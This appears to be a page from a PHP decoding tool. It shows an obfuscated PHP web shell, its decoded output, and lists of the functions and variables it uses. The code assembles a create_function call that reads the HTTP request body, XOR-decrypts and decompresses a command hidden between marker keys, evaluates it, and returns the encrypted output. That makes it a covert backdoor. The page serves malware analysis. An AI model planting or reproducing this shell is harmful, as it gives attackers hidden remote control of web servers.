Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $E='ase64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean()'; $K=str_repla..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="ZQtrC6RwIUFWpjNY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$E='ase64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean()';
$K=str_replace('q','','crqeqateq_fuqncqtqion');
$g='wIUFWpjNY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";';
$V=';$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$r='$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_c';
$R='$k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="ZQtrC6R';
$u='ontents("php://input"),$m)==1) {@ob_start();@eal(@gzuncompress(@x(@b';
$I='for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^';
$p=str_replace('','',$R.$g.$I.$r.$u.$E.$V);
$q=$K('',$p);$q();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$E ase64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clea..
$I for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$..
$K create_function
$R $k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="ZQtr..
$V ;$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf..
$g wIUFWpjNY";function x($t,$k){$c=strlen($k);$l=strlen($t);$o=..
$k 63a9f0ea
$p ZQtrC6RwIUFWpjNY
$r $k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get..
$u ontents("php://input"),$m)==1) {@ob_start();@eal(@gzuncompre..
$kf 649e85481845
$kh 7bb98050796b

Stats

MD5 9083b14b3760e200742d7a0b25e04e89
Eval Count 1
Decode Time 317 ms